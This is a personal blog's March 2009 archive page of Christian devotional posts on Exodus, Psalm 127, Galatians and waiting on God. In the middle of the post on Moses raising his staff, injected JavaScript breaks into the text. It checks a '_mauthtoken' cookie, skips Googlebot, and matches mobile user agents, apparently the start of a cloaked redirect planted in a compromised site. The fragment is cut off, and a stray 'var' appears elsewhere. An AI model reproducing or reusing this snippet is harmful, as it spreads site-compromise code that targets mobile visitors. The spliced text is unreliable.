emilynisch

Archive for March, 2009|Monthly archive page

Different to Be Like Me

In Uncategorized on March 31, 2009 at 11:20 pm

Today in our staff meeting I was reminded that each of us is designed with a different piece of the puzzle. For example, some of us see systems well, others focus on details without seeing the big picture, some of us relate to others by teaching, some of us by encouraging.

When you’re around puzzle pieces that are shaped differently than you, or even shaped all the same, it’s tempting to start wondering if you’re just wrong. It’s a commonly known fact that it’s hard to be different. It’s also a commonly known fact, but lesser commonly acted on fact that we’re all different!

I’ve been on a journey of trying to be as different as I need to be to be like myself. Sounds kind of funny, I know. It’s been fun exploring who I am, and finding that I see things differently than a lot of people. It’s made me more convinced that I’m made by God and made fearfully and wonderfully.

As I find out more about all my interesting and unique qualities, I get to know God better. After all, he made me! And his works are wonderful. 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To Take Possession of the Land

In Uncategorized on March 31, 2009 at 11:05 pm

God doesn’t give us everything we want right now. There are numerous reasons why he chooses to have us wait for something, one of which I want to talk about here. In my progress through Exodus I came across a passage that helped me add a new reason to my growing number of reasons why I think God has us wait. Here’s the passage in Exodus, Chapter 23. God says:

27 “I will send my terror ahead of you and throw into confusion every nation you encounter. I will make all your enemies turn their backs and run. 28 I will send the hornet ahead of you to drive the Hivites, Canaanites and Hittites out of your way. 29 But I will not drive them out in a single year, because the land would become desolate and the wild animals too numerous for you. 30 Little by little I will drive them out before you, until you have increased enough to take possession of the land.

The Israelites wait to occupy the full area of land God has promised to give them so that it doesn’t “become desolate”. He wants the Israelites to occupy the land when it’s ready to be the most productive for them. The nations living there now are tending the land, keeping the wild beasts away, building houses and wells, etc. God desires that when the Israelites occupy their new territory it will give them everything it can give.

Let’s apply this to our lives. There are a few things I can see that can easily take the place of the land in the scenario above: myself and the area that I desire to work in (for example, a job or missions in a certain country). Because we know that God is working everything together for the good of those who love him (Romans 8:28), and because we know that he disciplines us as a Father does his child, so that we grow up into greater maturity (Heb 12:7-11), we can trust that he’s both working in the place we desire to go and working in our life so that we will become better equipped to make a difference in that place.

God is preparing all things for what he has planned, for the advancement of his kingdom. He’s planting seeds now that will come to fruition in, say, 20 years. He wants his work to be the most fruitful and productive it can be – so he causes us to wait while he prepares the soil ahead of time and builds our muscles so we can till it well.

I hope this helps me (and you!) to understand waiting better. It’s been helpful for me to understand that waiting doesn’t mean there’s something wrong – it means that God is working in us and in whatever it is we’re hoping for, to develop it into a place that offers enormous blessings.

God’s makes us wait because he wants to provide the best, richest, fullest gift possible. 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Carolyn McCulley

In Uncategorized on March 31, 2009 at 1:54 am

Just want to share an awesome resource. I just got back from the Grace Church ladies retreat where Carolyn McCulley was the speaker. She had truth-filled and very balanced thoughts on how society has developed in it’s treatment of women and the results of that development regarding how women are thought of today and how we think of ourselves. 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We Will Obey

In Uncategorized on March 31, 2009 at 1:53 am

Still reading Exodus! In Chapter 24 I found something interesting and definitely applicable to my own life. Recently someone told me that sometimes God asks us to obey before we understand. This concept has been one that God has been teaching me recently. The core idea of it centers around belief – do I believe God good and all-powerful? The only step I need to take in general is that step of belief, of doing one small thing in faith, and he’ll do the rest. I’ve recently been thinking that one of God’s main purposes for keeping me alive is to teach me to trust in him, so it makes sense that he would put more importance on my trusting him than events that follow from it. Another way of saying this is that God looks at the heart.

The passage in Exodus Chapter 24 that helped me understand and see that this has always been God’s desire is:

7 Then he took the Book of the Covenant and read it to the people. They responded, “We will do everything the LORD has said; we will obey.”

8 Moses then took the blood, sprinkled it on the people and said, “This is the blood of the covenant that the LORD has made with you in accordance with all these words.”

It reminded me of the passage from Romans 10:

9That if you confess with your mouth, “Jesus is Lord,” and believe in your heart that God raised him from the dead, you will be saved. 10For it is with your heart that you believe and are justified, and it is with your mouth that you confess and are saved.”

It seems to me like there are some keys here. In both cases, God gives offers us his way of life (through the law, or later through the gospel) and asks us whether we will agree with it and follow it. So we believe and confess. In the case in Exodus, a ransom is paid for the Israelites, something they recently learned about during what came to be called “Passover”. Death came through all of Egypt, and the first born sons of the Israelites were only spared because they had blood had already been shed and it was offered in their place. The Israelites believe and confess (or promise) and something similar happens. I don’t yet understand how deep the similarity runs. Moses says he’s sprinkling them with blood to form a covenant between they and God.

Earlier, in Chapter 23, God says something else, and I’m wondering if it can help me understand what the similarity is. It relates to life and death, and how God’s people interact with the people in the countries around them. Here’s the passage:

24 Do not bow down before their gods or worship them or follow their practices. You must demolish them and break their sacred stones to pieces. 25 Worship the LORD your God, and his blessing will be on your food and water. I will take away sickness from among you, 26 and none will miscarry or be barren in your land. I will give you a full life span.

I think this passage points back to the relationship between choices and outcomes, or seeds and fruit. In this passage, God is teaching the Israelites that the fruit of following other Gods is hunger, thirst, sickness, miscarriage and barrenness. Let me stop for a moment to clarify something. I don’t believe God is saying that if a person is barren, or sick, or whatever, that it’s a result of following other gods. God is talking to the entire group of Israelites. He’s saying that if they as a people follow other gods, these things will happen – because the fruit of following created things is only death. God also says that if they demolish all of these death-producing things and follow him they will find the things that loving God brings. He will bless them. (Notice, he doesn’t see food and water as a given. He reminds them that food and water are his free gift and a blessing.)

The point that I’m drawing from this passage in combination with the passage in Chapter 24, and the passage in Romans, is that we can say ‘yes’ to going through a process of acknowledging God that leads to covenanting with him and receiving life and increasing blessings. (For those of you worried that I’m sounding like the faith movement, don’t worry! I’m just saying that God is true life, and following Jesus means greater and great life – with a lot of persecution and other hard things while we’re here on earth.) Maybe that’s where the sprinkling of blood comes in. I’m really not sure, and it’s something that I’d like to understand better. I know that Jesus has been our sacrifice, and the one who’s book stands in for us, like the blood that stood in for the first born sons of the Israelites in Egypt. Maybe Moses sprinkling the Israelites is a testimony to that – that they needed this standing in of blood to even be able to follow God, or for God to even acknowledge him as his people. Maybe they needed to have this sort of act of acknowledgment of their unworthiness as a people as they decided to say ‘yes’ to God and ‘no’ to the ways of other peoples. I really don’t know. Please share any thoughts you have!

I think I’ll end with this though. All throughout the bible God is requiring a saying ‘yes’ to him and then a confessing. Then he sprinkles and makes us his own. Yet another example that the first step – before we see and receive (and experience) the greatness of life with him – is ours to take. Before we see we have to believe. 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Seasons in Seasons: Flowers and Leaves

In Uncategorized on March 31, 2009 at 1:52 am

Budding trees line some of the areas of my apartment complex’s parking lot. They recently budded and bloomed and their petals are starting to fall as leaves come in. I was struck by my reaction to this: I was simultaneously sad (at the leaving of the flowers) and happy at the coming of the leaves.

In that moment I gained a larger understanding of transitions, specifically good transitions, like when Spring comes forth out of Winter – or when God does something that is essentially just that. It’s sad to loose the first buds and flowers, because they are especially pretty colors and (and I mean it!) they look fancy. They’re the first bursting forth of joy and life and a new season. It’s easy to become sad when they start to fall and you realize that the beginning of spring is over.

But leaves are wonderful too. They are beautiful in a deeper way. I appreciate their translucent green, their smell, how they make the treetops look fluttery, how they turn over and show a different color in the wind. I could go on and on. I love when the leaves return. I always have. So why am I not happy at their return in the same way as I am at the flowers’ return?

As flowers are the first joy of a new season, leaves are what comes after and is the real meat of that season. They are lovely, but they are also hardier than the flowers and will remain to nourish the trees throughout the coming months of sunlight. I love the festive and decadent (really!) beginning and rejoicing over a new season – but I also love the season itself, the longer lasting deeper friendship of that time.

This may all sound too poetic to be true, but think about it for a minute. God designed this earth to show us things about him – or perhaps it just fell out that way as he spoke about himself and shone forth in his glory. As I drove into my parking lot tonight I really think that God spoke this small insight to me, and every time I look at the leaves full of partial flowers and small growing leaves, I hope to think about this wonderful and deep revelation of times and seasons and understand better all the areas its lessons apply to – and rejoice in the depths God spoke into this world.var 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If we do not give up

In Uncategorized on March 31, 2009 at 1:51 am

Today I read this verse:

“Let us not become weary in doing good, for at the proper time we will reap a harvest if we do not give up.” (Galatians 6:9)

The part that struck me was: “if we do not give up”. I’m reminded that we can never tell what’s happening in places we can’t see – which is where God works. Underground (where the seed is), in unexpected places, at unexpected times. We never know what he’s doing. After all, God says: “As the heavens are higher than the earth, so are my ways higher than your ways and my thoughts than your thoughts.” (Isaiah 55:9) The reason to not give up is that we have no idea what’s going on. We shouldn’t give up because we know we planted seeds – but we don’t know how long we’re going to wait for them to take root and grow up out of the soil and slowly, slowly, slowly bear fruit. We need to 1. expect to see the fruit of our planting until it actually happens, and 2. continue planing so that we don’t get discouraged and idle and so that we have a huge harvest when the time comes. Who knows, a seed that we plant now may grow much faster than a seed we planted many years ago – who can tell? Only God.

When I looked up the Isaiah passage I was in for a pleasant surprise. The following verses fit with the meaning I just saw in the Galatians verse. Here they are:

10 As the rain and the snow
come down from heaven,
and do not return to it
without watering the earth
and making it bud and flourish,
so that it yields seed for the sower and bread for the eater,

11 so is my word that goes out from my mouth:
It will not return to me empty,
but will accomplish what I desire
and achieve the purpose for which I sent it.

I think God is reminding us that things work in ways that we can’t understand, but his word always accomplishes what it was spoken for. This is the one thing we can count on, and one of the things that motivates us to “continue to do good” as we wait to see our seeds grow.

The rest of the Isaiah chapter is also insightful in this area:

12 You will go out in joy
and be led forth in peace;
the mountains and hills
will burst into song before you,
and all the trees of the field
will clap their hands.

13 Instead of the thornbush will grow the pine tree,
and instead of briers the myrtle will grow.
This will be for the LORD’s renown,
for an everlasting sign,
which will not be destroyed.”

God reassures and comforts us with the good things ahead because he knows that it’s hard to wait while living in the briars and thornbushes of right now. The whole reason we plant seeds in our lives, the lives of others and the world at large is because things are terrible. We want them to change. We want God’s goodness where there’s only sadness, brokenness and all the other things that sin has twisted in this world. Someone recently reminded me of this verse: “Let us fix our eyes on Jesus, the author and perfecter of our faith, who for the joy set before him endured the cross, scorning its shame, and sat down at the right hand of the throne of God.” (Hebrews 12:2). What enabled Jesus to walk through everything he suffered in his life was all the joyful things that he would gain if he succeeded. These sections in Isaiah and Galatians speak to the same idea: it is the looking forward to all of the good God has that causes us to hope at all, to rejoice now.

As Paul says, “But if it is preached that Christ has been raised from the dead, how can some of you say that there is no resurrection of the dead? If there is no resurrection of the dead, then not even Christ has been raised. And if Christ has not been raised, our preaching is useless and so is your faith…. But he did not raise him if in fact the dead are not raised. For if the dead are not raised, then Christ has not been raised either. And if Christ has not been raised, your faith is futile; you are still in your sins. Then those also who have fallen asleep in Christ are lost. If only for this life we have hope in Christ, we are to be pitied more than all men.” (1 Corinthians 15:12-19) (Italics mine)

We are not supposed to just push through now because that’s what God wants. We are supposed to plant now in faith knowing that we will recieve joy and much more that we can imagine in the right time, because God has promised it. This is what we wait for.

You will go out in joy
and be led forth in peace;
the mountains and hills
will burst into song before you,
and all the trees of the field
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Psalm 127: blessing

In Uncategorized on March 31, 2009 at 1:51 am

Today at church Kendrick talked about generosity and giving, making the point that the most profitable way of handling your money isn’t keeping it for yourself, but instead, giving it away with the belief that your planting seeds that will advance the kingdom (while knowing also that God will bless you because of it – “he who waters will be watered”). Listen here.

There have been certain areas in my life where I’ve been asking God for more. I can choose whether I’m going to try to pursue any of those things in my way – I can go after those things I see directly (as I perceive it). The only things in equation are myself and whatever the things are I’m going after. Of course, since we live in this world, there will be unpredictable aspects as well (flood, thieves, the market and economy). If I’m lucky, what I put in will be determine what I get out. If I work in the fields for 10 hours, I should be able to harvest ten hours worth of hay. I will be tempted to work constantly, cutting short my time with people in my life, etc, etc. I have found that this way leads to “painful labors” and feeling burdened and discouraged.

There’s an alternative: God’s economy. Psalm 127 begins with a verse that I’ve heard often: “Unless the Lord builds the house, they labor in vain who build it.” I’ve heard people use this verse to mean something like, “unless you’re working with God and within his plans, you’ll fail”, and it may have this meaning in part. In the context of psalm 127 I think it has another meaning, one that’s been more productive to help me understand God and how he works and has set things up to work.

Here’s all of psalm 127:

1Unless the LORD builds the house,
They labor in vain who build it;
Unless the LORD guards the city,
The watchman keeps awake in vain.
2It is vain for you to rise up early,
To retire late,
To eat the bread of painful labors;
For He gives to His beloved even in his sleep.
3Behold, children are a gift of the LORD,
The fruit of the womb is a reward.
4Like arrows in the hand of a warrior,
So are the children of one’s youth.
5How blessed is the man whose quiver is full of them;
They will not be ashamed
When they speak with their enemies in the gate.

The verse that helped me understand the rest of the psalm is this: “He gives to his beloved even in his sleep.” When we’re sleeping we’re not doing anything. We’re not working toward our goals. We’re completely helpless. Just like when a married couple desiring children. Hearing about all the difficulties some couples have to become pregnant has convinced me that God is the one who gives children. It’s totally out of our control. We take the first steps, but after that we are helpless – just like when we’re sleeping.

So what is God saying? We are helpless. We are unable to produce anything like what happens when God blesses us freely because we are his beloved. I’m not saying that if we sit around and do nothing God will do everything for us. That’s not true. In this psalm, God is speaking specifically about gain. He’s speaking about his plan of blessing for us. He will always increase the work that we put in.

I’m reminded of the series Grace Church did on Margin. God ordains margin in our lives. He wants us to work for a specified time, then set down our work and trust him with the rest. Our work can become burdensome for us if we believe that our own strength must accomplish our goals. We will continue to push ourselves past the point of appropriate margin, denying ourselves rest, time with God and even sleep. Even when we are awake though, “Unless the LORD guards the city, the watchman keeps awake in vain.” (Remember that the creator and therefore ruler of the world is either for or against you, and he can make anything happen or not happen – there are lots of stories about this in the Old Testament on the scale of nations).

In short, God is saying that it’s not our labor that measures what the production will be. When we’re asleep or awake, it’s God’s blessing us that produces – as in the case of children. I hope understanding this will help me to rest, trusting that God is working out rich, good, bountiful blessings for me. I like how psalm 127 ends: “Like arrows in the hand of a warrior, so are the children of one’s youth. How blessed is the man whose quiver is full of them; they will not be ashamed when they speak with their enemies in the gate.” God knows what will make us stronger. He gives this man children so that he will have these arrows, so that his quiver will be full to encounter anything that approaches him. He will always be strong and ready for enemies that come to take what the Lord’s given him.

God doesn’t just give to us randomly. He gives to us to make us stronger and richer in him and in the things that he’s given us to work toward. I said earlier that when we try to gain things on our own we go for them directly, without God in mind. In reality, the most direct path to the things we work for and desire is the path that looks longer. It’s the path through God. When we appeal to him and trust him, when walk with his as his beloved, he brings things to us, and secures us so that they continue to be bountiful and protected from the enemies of this world. Sometimes this path takes us through hardship. Before the field can be planted it must be torn up and the rocks taken out. If they weren’t anything that grew there would be stunted, weak and would die quickly, leaving the farmer with no crops for the winter – a job hastily done would mean death for him and his family. God’s good and caring enough to be careful planter, and to teach us to be the same.* He doesn’t give us things we aren’t ready for, good gifts that we would take and destroy. He wants to give us good gifts that last forever and continue to grow.

If God isn’t giving you something or hasn’t, it’s not necessarily because there are rocks to be uprooted in your field. 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raise your staff and stretch out your hand

In Uncategorized on March 31, 2009 at 1:50 am

Something else that caught my attention in Chapter 14 of Exodus has to do with how we should trust and follow leaders that God puts over us. Moses was clearly a God-ordained leader of the Israelites, and I think there’s a lot to learn about the interaction between the Israelites and Moses, Moses and the Israelites, Moses and God, and the Israelites and God. In Chapter 14 the relationship between the Israelites and Moses is highlighted (as well all of the other relationships I just mentioned!)

The Isrealites are blocked from moving forward by the Red Sea and the Egyptians are pursuing them to bring them back to slavery. Verse 10 says that when they saw the Egyptians “marching after them”, “they were terrified and cried out to the LORD.” Remember how the Isrealites cried out to the Lord earlier in Exodus? It’s what causes God to act on their behalf. (2:24-25) Now, God has declared that he will bring them out of Egypt into their own land, flowing with milk and honey – it’s even a land that other people are living in now. Nevertheless, God has promised to give is to the Israelites. The way God responds to this new cry of the Israelites shows us how we should understand the situation: “Why are you crying out to me? Tell the Israelites to move on. Raise your staff and stretch out your hand over the sea to divide the water so that the Israelites can go through the sea on dry ground.” (15, 16) God is saying that he’s already taken care of it. He heard their original cry and has started the irrevocable process of moving them out of the land of slavery into the land of abundance that will be theirs. The time of crying out is over, the time of trusting has begun. This is what the Israelites must learn.

But there’s a lesson for Moses too. Just before God says this to Moses, Moses tells the Israelites as they cry out to God, “Do not be afraid. Stand firm and you will see the deliverance the LORD will bring you today. The Egyptians you see today you will never see again. The LORD will fight for you; you need only to be still.” Moses isn’t sure what will happen, but he’s sure something will – so he just stands back and is ready to let God take care of it, and he advises the people to do the same. Then God tells him – “actually Moses, I put you in charge.” He’s supposed to lead in this irrevocable process. God’s opening up the door of ability to Moses, but he’s already told him where to go and doesn’t need to direct him at every step. He’s teaching Moses to really be their leader, not just the one at the front of the procession.

I like how God says to Moses, “Tell the Israelites to move on” as if there isn’t a huge inland sea standing in their path. It’s because it’s not a big deal to God. His plan for them is the big deal. He reminds Moses of this in telling him casually what to do, as if reminding him what he’s been teaching him all along. He’s telling Moses, “do what I told you and lead my people out of this land into another. Nothing has changed.”

Moses and the Israelites both have hard jobs: Moses must continue moving forward while leading a group of people who are doubting him at any sign of difficulty; the Israelites must overcome their unbelief and allow themselves to be led by a man – a man who’s being led by God, but who walks and talks like a man nevertheless.

I think God knows how hard it is to lead, which is why he helps us understand how to be good followers. This is probably why he tells us to pray for those in authority. It’s especially important that leaders go in the right direction, because their responsible not just for themselves, but for the whole group their leading – and God says they’ll be judged accordingly, whether they did well or poorly will result in greater reward or punishment. (So, leading is a serious thing). But it’s also in our power to encourage our leaders by praying instead of complaining like the Israelites did. Complaining adds bricks to the back of a leader; praying either helps their heart or viewpoint change if it’s truly wrong, or it allows God to change our heart if that’s what’s really wrong.

I’ve also learned that if I’m ever in a position of leadership, when I get to a Red Sea of sort, I want to remember that God’s really given me a position of leadership, and so he’s given me the positional authority to conquer what’s in the way of the direction I’m going. I may need to consult with God for the best strategy, but I can also be confident that in the course of my life he foresaw the sea, and he’s probably already given me a knowledge of what tools (or staff) I should use.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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we want to serve the Egyptians

In Uncategorized on March 31, 2009 at 1:49 am

As you may have guessed, I’m still working my way through Exodus. I’ve just finished the part where Moses parts the sea and leads the Israelites through. Reading Chapter 14 taught me something about the difficulty of leaving familiar things, even if they’re terrible, for new things that are better but unfamiliar.

The verses that caught my attention in Chapter 14 of Exodus take place right after the Israelites see that the Egyptian army is pursuing them into the desert: They said to Moses, “Was it because there were no graves in Egypt that you brought us to the desert to die? What have you done to us by bringing us out of Egypt? Didn’t we say to you in Egypt, ‘Leave us alone; let us serve the Egyptians’? It would have been better for us to serve the Egyptians than to die in the desert!” (14:11-12) The part that especially caught my attention was this: It would have been better for us to serve the Egyptians…! In the French version I was reading it was even stronger. Basically it said, “Let us be, we want to serve the Egyptians.” (“Laisse-nous tranquilles; nous voulons servir les Egyptiens.”)

This part caught me because it sounds so human and familiar. We take a risk on something, it looks like it may not work out, and we start to wonder if God is trustworthy or if he cares about us. I think if we had had perfect, unhurt lives up to the point of this risk we might not come to this type of discouragement, but we live in a world where we’ve all encountered so many broken systems, promises, people, relationships, etc. that it’s hard to trust that God really is different and makes trustworthy promises.

I think the Israelites are finding this especially hard, as we have already seen in earlier in Exodus, because they’re not sure that God is their good father who will take care of him – even after he chooses to spare them when he kills the first-borns in all of Egypt. They’ve been hurt in their long season of slavery and it seems like they just don’t know their father. They’ve only known harsh masters who drive them even harder when Moses tells Pharoah to let them leave – why should God be any different. Every person they’ve known as a people has probably treated them with contempt and harshness.

They’re afraid of anything new and find it hard to believe that their life can hold any real good – they haven’t seen any so far. So, they complain and ask that if they can’t have good (Pharoah’s already on their trail ready to bring them back to slavery and punishment), can they at least have some comfort? Their old homes? Familiar work that brings them food and water? They’ve given up on the great, awesome, poignant, strong good that God gives. They don’t believe he has it in store for them.

Late in Chapter 14 they finally believe: “And when the Israelites saw the great power the LORD displayed against the Egyptians, the people feared the LORD and put their trust in him and in Moses his servant.” (31) God had to show them the difference between how he treated the Egyptians and how he was treating them. He’s saying to them “I have chosen to be against these people (and against everything they’ve done to you) and for you. I am against your hurt, your persecution, your slavery, the way of life you were forced to follow in Egypt. All of that is dead, and I have chosen to bring you out and into a better life, and I have chosen to kill the Egyptians who were against me and you.” The Israelites see that God has power greater than any they’ve ever seen before (as do the Egyptians back home who survive) and probably for the first time ever, they might start to hope that their God can do a new thing.

This section will definitely challenge me to not do the same, and to remember that my Father is good, and good to me, despite anything I’ve known formerly. He does new things, because he always does things his own good way. He is like nothing I’ve ever known.

Spring is coming soon in North Carolina, and I’m finding it’s a perfect time to remember all of this. Out of the dead of winter, God brings Spring – and Spring is good and full of life. And it’s definitely not just so-so, or anything like winter. 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living sacrifices

In Uncategorized on March 31, 2009 at 1:48 am

Once in a while I think about the transition from life to death and it scares me a little bit. I wonder if it’s like the transition from consciousness to sleep – something you never really notice because you’re either awake or asleep! I never remember the moment I transition into sleep and lose my waking consciousness, which seems like a really vulnerable moment. The expression “falling asleep” seems pretty accurate to me.

Thinking about this transition point sometimes leads me into broader thoughts about my own death that must come sometime. I think about martyrs too, who often they are asked to choose between life and denying God, which will include braving that moment of uncertain transition. I wonder, would I be ready if God has that for me?

As I was falling asleep last night a verse that I had talked about with someone the day before came to mind: “Therefore, I urge you, brothers, in view of God’s mercy, to offer your bodies as living sacrifices, holy and pleasing to God—this is your spiritual act of worship.” (Rom 12:1)

I realized that if I’m choosing to worship God by offering my body as a living sacrifice to him day by day, that choice will always be the same – even if the result of that choice ends in death, specifically in martyrdom. If from my heart I am choosing to rejoice in worshiping God through giving him my body daily, then I can approach giving my body in this greater sacrifice from the same joyful and worshipful source.

And, as Paul says, “If I am to go on living in the body, this will mean fruitful labor for me. Yet what shall I choose? I do not know! I am torn between the two: I desire to depart and be with Christ, which is better by far; but it is more necessary for you that I remain in the body.” (Phil 1:22-24) As we continue to choose to give our bodies as living sacrifices in this life, we can expect more hardship; giving our bodies finally leads to an end to this hardship and entering of even greater joy. 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